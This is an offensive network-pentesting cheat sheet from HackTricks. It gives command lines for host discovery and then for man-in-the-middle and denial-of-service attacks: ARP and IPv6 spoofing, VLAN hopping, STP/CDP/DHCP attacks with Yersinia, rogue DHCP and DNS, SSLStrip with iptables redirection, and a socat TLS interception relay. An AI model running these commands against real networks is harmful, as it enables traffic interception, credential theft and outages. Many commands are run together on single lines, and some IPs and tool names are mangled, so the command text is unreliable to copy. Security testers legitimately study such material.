If you want to know about my latest modifications/additions or you have any suggestion for HackTricks or PEASS, join the 💬 PEASS & HackTricks telegram group here, or follow me on Twitter 🐦@carlospolopm. If you want to share some tricks with the community you can also submit pull requests to **[https://github.com/carlospolop/hacktricks**](https://github.com/carlospolop/hacktricks) **that will be reflected in this book. Don't forget to give ⭐ on the github** to motivate me to continue developing this book.
This is going to be a brief section about how to find IPs responding from the Internet. In this situation you have some scope of IPs (maybe even several ranges) and you just to find which IPs are responding.
This is the easiest and fastest way to discover if a host is up or not.
You could try to send some ICMP packets and expect responses. The easiest way is just sending an echo request and expect from the response. You can do that using a simple
You could also use nmap to send other types of ICMP packets (this will avoid filters to common ICMP echo request-response).
ping -c 1 22.214.171.124 # 1 echo request to a hostfping -g 126.96.36.199/24 # Send echo requests to rangesnmap -PEPM -sP -n 188.8.131.52/24 #Send echo, timestamp requests and subnet mask requests
It's very common to find that all kind of ICMP packets are being filtered. Then, all you can do to check if a host is up is try to find open ports. Each host has 65535 ports, so, if you have a "big" scope you cannot test if each port of each host is open or not, that will take too much time. Then, what you need is a fast port scanner (masscan) and a list of the ports more used:
#Using masscan to scan top20ports of nmap in a /24 range (less than 5min)masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080 184.108.40.206/24
You could also perform this step with
nmap, but it slower and somewhat
nmaphas problems identifying hosts up.
This is just a TCP port discovery useful when you want to focus on discovering HTTP services:
masscan -p80,443,8000-8100,8443 220.127.116.11/24
You could also try to check for some UDP port open to decide if you should pay more attention to a host. As UDP services usually don't respond with any data to a regular empty UDP probe packet it is difficult to say if a port is being filtered or open. The easiest way to decide this is to send a packet related to the running service, and as you don't know which service is running, you should try the most probable based on the port number:
nmap -sU -sV --version-intensity 0 -F -n 18.104.22.168/24# The -sV will make nmap test each possible known UDP service packet# The "--version-intensity 0" will make nmap only test the most probable
The nmap line proposed before will test the top 100 UDP ports in every host inside the /24 range but even only this will take >20min. If need fastest results you can use udp-proto-scanner:
./udp-proto-scanner.pl 22.214.171.124/24 This will send these UDP probes to their expected port (for a /24 range this will just take 1 min): DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike,ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp.
#Probably useless, but it's pretty fast, why not trying?nmap -T4 -sY -n --open -Pn <IP/range>
If you are inside the network one of the first things you will want to do is to discover other hosts. Depending on how much noise you can/want to do, different actions could be performed:
You can use these tools to passively discover hosts inside a connected network:
netdiscover -pp0f -i eth0 -p -o /tmp/p0f.log# Bettercap2net.recon on/offnet.showset net.show.meta true #more info
Note that the techniques commented in Discovering hosts from the outside (TCP/HTTP/UDP/SCTP Port Discovery) can be also applied here. But, as you are in the same network as the other hosts, you can do more things:
#ARP discoverynmap -sn <Network> #ARP Requests (Discover IPs)netdiscover -r <Network> #ARP requests (Discover IPs)#NBT discoverynbtscan -r 192.168.0.1/24 #Search in Domain# Bettercap2 (By default ARP requests are sent)net.probe on/off #Activate all service discover and ARPnet.probe.mdns #Search local mDNS services (Discover local)net.probe.nbns #Ask for NetBios name (Discover local)net.probe.upnp # Search services (Discover local)net.probe.wsd # Search Web Services Discovery (Discover local)net.probe.throttle 10 #10ms between requests sent (Discover local)#IPv6alive6 <IFACE> # Send a pingv6 to multicast.
Note that the techniques commented in Discovering hosts from the outside (ICMP) can be also applied here. But, as you are in the same network as the other hosts, you can do more things:
If you ping a subnet broadcast address the ping should be arrive to each host and they could respond to you:
ping -b 10.10.5.255
Pinging the network broadcast address you could even find hosts inside other subnets:
ping -b 255.255.255.255
-PEPM flag of
nmapto perform host discovery sending ICMPv4 echo, timestamp, and subnet mask requests:
nmap -PEPM -sP –vvv -n 10.12.5.0/24
Wake On Lan is used to turn on computers through a network message. The magic packet used to turn on the computer is only a packet where a MAC Dst is provided and then it is repeated 16 times inside the same paket. Then this kind of packets are usually sent in an ethernet 0x0842 or in a UDP packet to port 9. If no [MAC] is provided, the packet is sent to broadcast ethernet (and the broadcast MAC will be the one being repeated).
#WOL (without MAC is used ff:...:ff)wol.eth [MAC] #Send a WOL as a raw ethernet packet of type 0x0847wol.udp [MAC] #Send a WOL as an IPv4 broadcast packet to UDP port 9## Bettercap2 can also be used for this purpose
Once you have discovered all the IPs (external or internal) you want to scan in depth, different actions can be performed.
Open port: SYN --> SYN/ACK --> RST
Closed port: SYN --> RST/ACK
Filtered port: SYN --> [NO RESPONSE]
Filtered port: SYN --> ICMP message
## Nmap fast scan for the most 1000tcp ports usednmap -sV -sC -O -T4 -n -Pn -oA fastscan <IP>## Nmap fast scan for all the portsnmap -sV -sC -O -T4 -n -Pn -p- -oA fullfastscan <IP>## Nmap fast scan for all the ports slower to avoid failures due to -T4nmap -sV -sC -O -p- -n -Pn -oA fullscan <IP>#Bettercap2 Scansyn.scan 192.168.1.0/24 1 10000 #Ports 1-10000
There are 2 options to scan an UDP port:
Send a UDP packet and check for the response ICMP unreachable if the port is closed (in several cases ICMP will be filtered so you won't receive any information inf the port is close or open).
Send a formatted datagrams to elicit a response from a service (e.g., DNS, DHCP, TFTP, and others, as listed in nmap-payloads). If you receive a response, then, the port is open.
Nmap will mix both options using "-sV" (UDP scans are very slow), but notice that UDP scans are slower than TCP scans:
## Check if any of the most common udp services is runningudp-proto-scanner.pl <IP>## Nmap fast check if any of the 100 most common UDP services is runningnmap -sU -sV --version-intensity 0 -n -F -T4 <IP>## Nmap check if any of the 100 most common UDP services is running and launch defaults scriptsnmap -sU -sV -sC -n -F -T4 <IP>## Nmap "fast" top 1000 UDP portsnmap -sU -sV --version-intensity 0 -n -T4 <IP>## You could use nmap to test all the UDP ports, but that will take a lot of time
SCTP sits alongside TCP and UDP. Intended to provide transport of telephony data over IP, the protocol duplicates many of the reliability features of Signaling System 7 (SS7), and underpins a larger protocol family known as SIGTRAN. SCTP is supported by operating systems including IBM AIX, Oracle Solaris, HP-UX, Linux, Cisco IOS, and VxWorks.
Two different scans for SCTP are offered by nmap: -sY and -sZ
## Nmap fast SCTP scannmap -T4 -sY -n -oA SCTFastScan <IP>## Nmap all SCTP scannmap -T4 -p- -sY -sV -sC -F -n -oA SCTAllScan <IP>
Misconfigured routers, firewalls, and network devices sometimes respond to network probes using nonpublic source addresses. You can use tcpdump used to identify packets received from private addresses during testing. In this case, the eth2 interface in Kali Linux is addressable from the public Internet (If you are behind a NAT of a Firewall this kind of packets are probably going to be filtered).
tcpdump –nt -i eth2 src net 10 or 172.16/12 or 192.168/16tcpdump: verbose output suppressed, use -v or -vv for full protocol decodelistening on eth2, link-type EN10MB (Ethernet), capture size 65535 bytesIP 10.10.0.1 > 126.96.36.199: ICMP echo reply, id 25804, seq 1582, length 64IP 10.10.0.2 > 188.8.131.52: ICMP echo reply, id 25804, seq 1586, length 64
Sniffing you can learn details of IP ranges, subnet sizes, MAC addresses, and hostnames by reviewing captured frames and packets. If the network is misconfigured or switching fabric under stress, attackers can capture sensitive material via passive network sniffing.
If a switched Ethernet network is configured properly, you will only see broadcast frames and material destined for your MAC address.
sudo tcpdump -i <INTERFACE> udp port 53 #Listen to DNS request to discover what is searching the hosttcpdump -i <IFACE> icmp #Listen to icmp packetssudo bash -c "sudo nohup tcpdump -i eth0 -G 300 -w \"/tmp/dump-%m-%d-%H-%M-%S-%s.pcap\" -W 50 'tcp and (port 80 or port 443)' &"
net.sniff onnet.sniff statsnet.sniff.output #Output filenet.sniff.local #Accept packets from this machinenet.sniff.filternet.sniff.regexp
You can us tools like https://github.com/lgandx/PCredz to parse credentials from a pcap or a live interface.
ARP Spoofing consist on sending gratuitous ARPResponses to indicate that the IP of a machine has the MAC of our device. Then, the victim will change the ARP table and will contact our machine every time it wants to contact the IP spoofed.
arp.spoof onarp.ban on # No ipv4-redirectarp.spoof.targetsarp.spoof.whitelistarp.spoof.internal #Spoofed local connections (by default only Victim <--> Gateway
echo 1 > /proc/sys/net/ipv4/ip_forwardarpspoof -t 192.168.1.1 192.168.1.2arpspoof -t 192.168.1.2 192.168.1.1
Overflow the switch’s CAM table sending a lot of packets with different source mac address. When the CAM table is full the switch start behaving like a hub (broadcasting all the traffic).
macof -i <interface>
In modern switches this vulnerability has been fixed.
Many switches support the Dynamic Trunking Protocol (DTP) by default, however, which an adversary can abuse to emulate a switch and receive traffic across all VLANs. The tool dtpscan.sh can sniff an interface and reports if switch is in Default mode, trunk, dynamic, auto or access mode (this is the only one that would avoid VLAN hopping). The tool will indicate if the switch is vulnerable or not.
If it was discovered that the the network is vulnerable, you can use Yersinia to launch an "enable trunking" using protocol "DTP" and you will be able to see network packets from all the VLANs.
apt-get install yersinia #Installationyersinia -I #Interactive mode#In interactive mode you will need to select a interface first#Then, you can select the protocol to attack using letter "g"#Finally, you can select the attack using letter "x"
Once you known VLAN IDs and IPs values,you can configure a virtual interface to attack a specific VLAN. If DHCP is not available, then use ifconfig to set a static IP address.
root@kali:~# modprobe 8021qroot@kali:~# vconfig add eth1 250Added VLAN with VID == 250 to IF -:eth1:-root@kali:~# dhclient eth1.250Reloading /etc/samba/smb.conf: smbd only.root@kali:~# ifconfig eth1.250eth1.250 Link encap:Ethernet HWaddr 00:0e:c6:f0:29:65inet addr:10.121.5.86 Bcast:10.121.5.255 Mask:255.255.255.0inet6 addr: fe80::20e:c6ff:fef0:2965/64 Scope:LinkUP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1RX packets:19 errors:0 dropped:0 overruns:0 frame:0TX packets:13 errors:0 dropped:0 overruns:0 carrier:0collisions:0 txqueuelen:0RX bytes:2206 (2.1 KiB) TX bytes:1654 (1.6 KiB)root@kali:~# arp-scan -I eth1.250 10.121.5.0/24
The discussed attack of Dynamic Trunking and creating virtual interfaces an discovering hosts inside other VLANs are automatically performed by the tool: https://github.com/nccgroup/vlan-hopping---frogger
If an attacker knows the value of the MAC, IP and VLAN ID of the victim host, he could try to double tag a frame with its designated VLAN and the VLAN of the victim and send a packet. As the victim won't be able to connect back with the attacker, so the best option for the attacker is communicate via UDP to protocols than can perform some interesting actions (like SNMP).
Another option for the attacker is to launch a TCP port scan spoofing an IP controlled by the attacker and accessible by the victim (probably through internet). Then, the attacker could sniff in the second host owned by him if it receives some packets from the victim.
In guest wireless networks and other environments, private VLAN (also known as port isolation) settings are used to prevent peers from interacting (i.e., clients connect to a wireless access point but cannot address one another). Depending on network ACLs (or lack thereof), it might be possible to send IP packets up to a router, which are then forwarded back to a neighbouring peer.
This attack will send a specially crafted packet to the IP of a client but with the MAC of the router. Then, the router will redirect the packet to the client. As in Double Tagging Attacks you can exploit this vulnerability by controlling a host accessible by the victim.
If you cannot capture BPDU frames on your interfaces, it is unlikely that you will succeed in an STP attack.
Sending a lot of BPDUs TCP (Topology Change Notification) or Conf (the BPDUs that are sent when the topology is created) the switches are overloaded and stop working correctly.
yersina stp -attack 2yersina stp -attack 3#Use -M to disable MAC spoofing
When a TCP is sent, the CAM table of the switches will be deleted in 15s. Then, if you are sending continuously this kind of packets, the CAM table will be restarted continuously (or every 15segs) and when it is restarted, the switch behaves as a hub
yersina stp -attack 1 #Will send 1 TCP packet and the switch should restore the CAM in 15 secondsyersina stp -attack 0 #Will send 1 CONF packet, nothing else will happen
The attacker simulates the behaviour of a switch to become the STP root of the network. Then, more data will pass through him. This is interesting when you are connected to two different switches. This is done by sending BPDUs CONF packets saying that the priority value is less than the actual priority of the actual root switch.
yersina stp -attack 4 #Behaves like the root switchyersina stp -attack 5 #This will make the device behaves as a switch but will not be root
If the attacker is connected to 2 switches he can be the root of the new tree and all the traffic between those switches will pass through him (a MITM attack will be performed).
yersina stp -attack 6 #This will cause a DoS as the layer 2 packets wont be forwarded. You can use Ettercap to forward those packets "Sniff" --> "Bridged sniffing"ettercap -T -i eth1 -B eth2 -q #Set a bridge between 2 interfaces to forwardpackages
CISCO Discovery Protocol is the protocol used by CISCO devices to talk among them, discover who is alive and what features does they have. You can make a DoS attack to a CISCO switch by exhausting the device memory simulating real CISCO devices.
You could use
Yersina to capture CDP frames and show the information
sudo yersinia cdp -attack 1 #DoS Attack simulating new CISCO devicessudo yersinia cdp -attack 2 #Simulate a new CISCO devicesudo yersinia cdp -attack 0 #Send a CDP packet
You could also use scapy. Be sure to install it with
nmap --script broadcast-dhcp-discoverStarting Nmap 7.80 ( https://nmap.org ) at 2019-10-16 05:30 EDTWARNING: No targets were specified, so 0 hosts scanned.Pre-scan script results:| broadcast-dhcp-discover:| Response 1 of 1:| IP Offered: 192.168.1.250| DHCP Message Type: DHCPOFFER| Server Identifier: 192.168.1.1| IP Address Lease Time: 1m00s| Subnet Mask: 255.255.255.0| Router: 192.168.1.1| Domain Name Server: 192.168.1.1|_ Domain Name: mynetNmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds
Two types of DoS could be performed against DHCP servers. The first one consists on simulate enough fake hosts to use all the possible IP addresses. This attack will work only if you can see the responses of the DHCP server and complete the protocol (Discover (Comp) --> Offer (server) --> Request (Comp) --> ACK (server)). For example, this is not possible in Wifi networks.
Another way to perform a DHCP DoS is to send a DHCP-RELEASE packet using as source code every possible IP. Then, the server will think that everybody has finished using the IP.
yersinia dhcp -attack 1yersinia dhcp -attack 3 #More parameters are needed
A more automatic way of doing this is using the tool DHCPing
You could use the mentioned DoS attacks to force clients to obtain new leases within the environment, and exhaust legitimate servers so that they become unresponsive. So when the legitimate try to reconnect, you can server malicious values mentioned in the next attack.
You can use Responder DHCP script (/usr/share/responder/DHCP.py) to establish a rogue DHCP server. Setting a malicious gateway is not ideal, because the hijacked connection is only half-duplex (i.e., we capture egress packets from the client, but not the responses from the legitimate gateway). As such, I would recommend setting a rogue DNS or WPAD server to capture HTTP traffic and credentials in particular.
Our IP address, advertised as a gateway
The local DNS domain name (optional)
IP address of the original router/gateway
Primary DNS server IP address
Secondary DNS server IP address (optional)
The netmask of the local network
The interface to listen for DHCP traffic on
WPAD configuration address (URL)
Spoof the default gateway IP address
Respond to all DHCP requests (very noisy)
Here are some of the attack tactics that can be used against 802.1X implementations:
Active brute-force password grinding via EAP
Attacking the RADIUS server with malformed EAP content **(exploits)
EAP message capture and offline password cracking (EAP-MD5 and PEAP)
Forcing EAP-MD5 authentication to bypass TLS certificate validation
Injecting malicious network traffic upon authenticating using a hub or similar
If the attacker if between the victim and the authentication server, he could try to degrade (if necessary) the authentication protocol to EAP-MD5 and capture the authentication attempt. Then, he could brute-force this using:
eapmd5pass –r pcap.dump –w /usr/share/wordlist/sqlmap.txt
Hot Standby Routing Protocol (HSRP) and the Virtual Router Redundancy Protocol (VRRP) are used in high-availability environments to provide failover support. Routers send packets to local multicast groups announcing configuration and priority details.
HSRP is a proprietary Cisco protocol with no RFC, whereas VRRP is standardized. To evaluate HSRP and VRRP support within an environment, use a network sniffer to capture the management traffic. You can use a number of tools to craft HSRP messages (including Scapy and Yersinia), but only Loki provides VRRP support at this time.
For more information about how to attack this protocols go to the book Network Security Assessment: Know Your Network (3rd edition)
Three versions of the Routing Information Protocol (RIP) exist—RIP, RIPv2, and RIPng. RIP and RIPv2 use UDP datagrams sent to peers via port 520, whereas RIPng broadcasts datagrams to UDP port 521 via IPv6 multicast. RIPv2 introduced MD5 authentication support. RIPng does not incorporate native authentication; rather, it relies on optional IPsec AH and ESP headers within IPv6.
For more information about how to attack this protocol go to the book Network Security Assessment: Know Your Network (3rd edition).
The Enhanced Interior Gateway Routing Protocol (EIGRP) is Cisco proprietary and can be run with or without authentication. __Coly supports capture of EIGRP broadcasts and injection of packets to manipulate routing configuration.
For more information about how to attack this protocol go to the book Network Security Assessment: Know Your Network (3rd edition).
Most Open Shortest Path First (OSPF) implementations use MD5 to provide authentication between routers. Loki and John the Ripper can capture and attack MD5 hashes to reveal the key, which can then be used to advertise new routes. The route parameters are set by using the Injection tab, and the key set under Connection.
For more information about how to attack this protocol go to the book Network Security Assessment: Know Your Network (3rd edition).
You can find some more information about network attacks here. **(TODO: Read it all and all new attacks if any)
The attacker configures all the network parameters (GW, IP, DNS) of the new member of the network sending fake DHCP responses.
Ettercapyersinia dhcp -attack 2 #More parameters are needed
ICMP Redirect consist on sending an ICMP packet type 1 code 5 that indicates that the attacker is the best way to reach an IP. Then, when the victim wants to contact the IP, it will send the packet through the attacker.
Ettercapicmp_redirecthping3 [VICTIM IP ADDRESS] -C 5 -K 1 -a [VICTIM DEFAULT GW IP ADDRESS] --icmp-gw [ATTACKER IP ADDRESS] --icmp-ipdst [DST IP ADDRESS] --icmp-ipsrc [VICTIM IP ADDRESS] #Send icmp to  form , route to  packets sent to  from 
The attacker will resolve some (or all) the domains that the victim ask for.
set dns.spoof.hosts ./dns.spoof.hosts; dns.spoof on
Configure own DNS with dnsmasq
apt-get install dnsmasqecho "addn-hosts=dnsmasq.hosts" > dnsmasq.conf #Create dnsmasq.confecho "127.0.0.1 domain.example.com" > dnsmasq.hosts #Domains in dnsmasq.hosts will be the domains resolved by the Dsudo dnsmasq -C dnsmasq.conf --no-daemondig @localhost domain.example.com # Test the configured DNS
Multiple routes to systems and networks often exist. Upon building a list of MAC addresses within the local network, use gateway-finder.py to identify hosts that support IPv4 forwarding.
root@kali:~# git clone https://github.com/pentestmonkey/gateway-finder.gitroot@kali:~# cd gateway-finder/root@kali:~# arp-scan -l | tee hosts.txtInterface: eth0, datalink type: EN10MB (Ethernet)Starting arp-scan 1.6 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/)10.0.0.100 00:13:72:09:ad:76 Dell Inc.10.0.0.200 00:90:27:43:c0:57 INTEL CORPORATION10.0.0.254 00:08:74:c0:40:ce Dell Computer Corp.root@kali:~/gateway-finder# ./gateway-finder.py -f hosts.txt -i 184.108.40.206gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder[+] Using interface eth0 (-I to change)[+] Found 3 MAC addresses in hosts.txt[+] We can ping 220.127.116.11 via 00:13:72:09:AD:76 [10.0.0.100][+] We can reach TCP port 80 on 18.104.22.168 via 00:13:72:09:AD:76 [10.0.0.100]
Microsoft systems use Link-Local Multicast Name Resolution (LLMNR) and the NetBIOS Name Service (NBT-NS) for local host resolution when DNS lookups fail. Apple Bonjour and Linux zero-configuration implementations use Multicast DNS (mDNS) to discover systems within a network. These protocols are unauthenticated and broadcast messages over UDP; thus, attackers can exploit them to direct users to malicious services.
You can impersonate services that are searched by hosts using Responder to send fake responses. Read here more information about how to Impersonate services with Responder.
Many browsers use Web Proxy Auto-Discovery (WPAD) to load proxy settings from the network. A WPAD server provides client proxy settings via a particular URL (e.g., http://wpad.example.org/wpad.dat) upon being identified through any of the following:
DHCP, using a code 252 entry34
DNS, searching for the wpad hostname in the local domain
Microsoft LLMNR and NBT-NS (in the event of DNS lookup failure)
Responder automates the WPAD attack—running a proxy and directing clients to a malicious WPAD server via DHCP, DNS, LLMNR, and NBT-NS. Read here more information about how to Impersonate services with Responder.
You can offer different services in the network to try to trick a user to enter some plain-text credentials. More information about this attack in Spoofing SSDP and UPnP Devices.
This attack is very similar to ARP Spoofing but in the IPv6 world. You can get the victim think that the IPv6 of the GW has the MAC of the attacker.
sudo parasite6 -l eth0 # This option will respond to every requests spoofing the address that was requestedsudo fake_advertise6 -r -w 2 eth0 <Router_IPv6> #This option will send the Neighbor Advertisement packet every 2 seconds
Some OS configure by default the gateway from the RA packets sent in the network. To declare the attacker as IPv6 router you can use:
sysctl -w net.ipv6.conf.all.forwarding=1 4ip route add default via <ROUTER_IPv6> dev wlan0fake_router6 wlan0 fe80::01/16
By default some OS try to configure the DNS reading a DHCPv6 packet in the network. Then, an attacker could send a DHCPv6 packet to configure himself as DNS. The DHCP also provides an IPv6 to the victim.
dhcp6.spoof ondhcp6.spoof.domains <list of domains>mitm6
Basically what this attack does is, in case the user try to access a HTTP page that is redirecting to the HTTPS version. sslStrip will maintain a HTTP connection with the client and a HTTPS connection with the server so it ill be able to sniff the connection in plain text.
apt-get install sslstripsslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k#iptables --flush#iptables --flush -t natiptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000iptables -A INPUT -p tcp --destination-port 10000 -j ACCEPT
More info here.
The difference between sslStrip+ and dns2proxy against sslStrip is that they will redirect for example www.facebook.com to wwww.facebook.com (note the extra "w") and will set the address of this domain as the attacker IP. This way, the client will connect to wwww.facebook.com (the attacker) but behind the scenes sslstrip+ will maintain the real connection via https with www.facebook.com.
The goal of this technique is to avoid HSTS because wwww.facebook.com won't be saved in the cache of the browser, so the browser will be tricked to perform facebook authentication in HTTP. Note that in order to perform this attack the victim has to try to access initially to http://www.faceook.com and not https. This can be done modifying the links inside an http page.
sslStrip or sslStrip+ doesn;t work anymore. This is because there are HSTS rules presaved in the browsers, so even if it's the first time that a user access an "important" domain he will access it via HTTPS. Also, notice that the presaved rules and other generated rules can use the flag
includeSubdomains so the wwww.facebook.com example from before won't work anymore as facebook.com uses HSTS with
TODO: easy-creds, evilgrade, metasploit, factory
sudo nc -l -p 80socat TCP4-LISTEN:80,fork,reuseaddr -
FILENAME=server# Generate a public/private key pair:openssl genrsa -out $FILENAME.key 1024# Generate a self signed certificate:openssl req -new -key $FILENAME.key -x509 -sha256 -days 3653 -out $FILENAME.crt# Generate the PEM file by just appending the key and certificate files:cat $FILENAME.key $FILENAME.crt >$FILENAME.pem
sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 -
sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 openssl-connect:[SERVER]:[PORT],verify=0
Some times, if the client checks that the CA is a valid one, you could serve a certificate of other hostname signed by a CA. Another interesting test, is to serve a certificate of the requested hostname but self-signed.
Other things to test is to try to sign the certificate with a valid certificate that it is not a valid CA. Or to use the valid public key, force to use an algorithm as diffie hellman (one that do not need to decrypt anything with the real private key) and when the client request a probe of the real private key (like a hash) send a fake probe and expect that the client does not check this.
## Eventsevents.stream off #Stop showing eventsevents.show #Show all eventsevents.show 5 #Show latests 5 eventsevents.clear## Ticker (loop of commands)set ticker.period 5; set ticker.commands "wifi.deauth DE:AD:BE:EF:DE:AD"; ticker on## Capletscaplets.showcaplets.update## Wifiwifi.recon onwifi.deauth BSSIDwifi.show# Fake wifiset wifi.ap.ssid Bananaset wifi.ap.bssid DE:AD:BE:EF:DE:ADset wifi.ap.channel 5set wifi.ap.encryption false #If true, WPA2wifi.recon on; wifi.ap
Take into account that when a UDP packet is sent to a device that do not have the requested port an ICMP (Port Unreachable) is sent.
ARP packets are used to discover wich IPs are being used inside the network. The PC has to send a request for each possible IP address and only the ones that are being used will respond.
Bettercap send a MDNS request (each X ms) asking for _services_.dns-sd._udp.local the machine that see this paket usually answer this request. Then, it only searchs for machine answering to "services".
Bettercap broadcast packets to the port 137/UDP asking for the name "CKAAAAAAAAAAAAAAAAAAAAAAAAAAA".
Bettercap broadcast SSDP packets searching for all kind of services (UDP Port 1900).
Bettercap broadcast WSD packets searching for services (UDP Port 3702).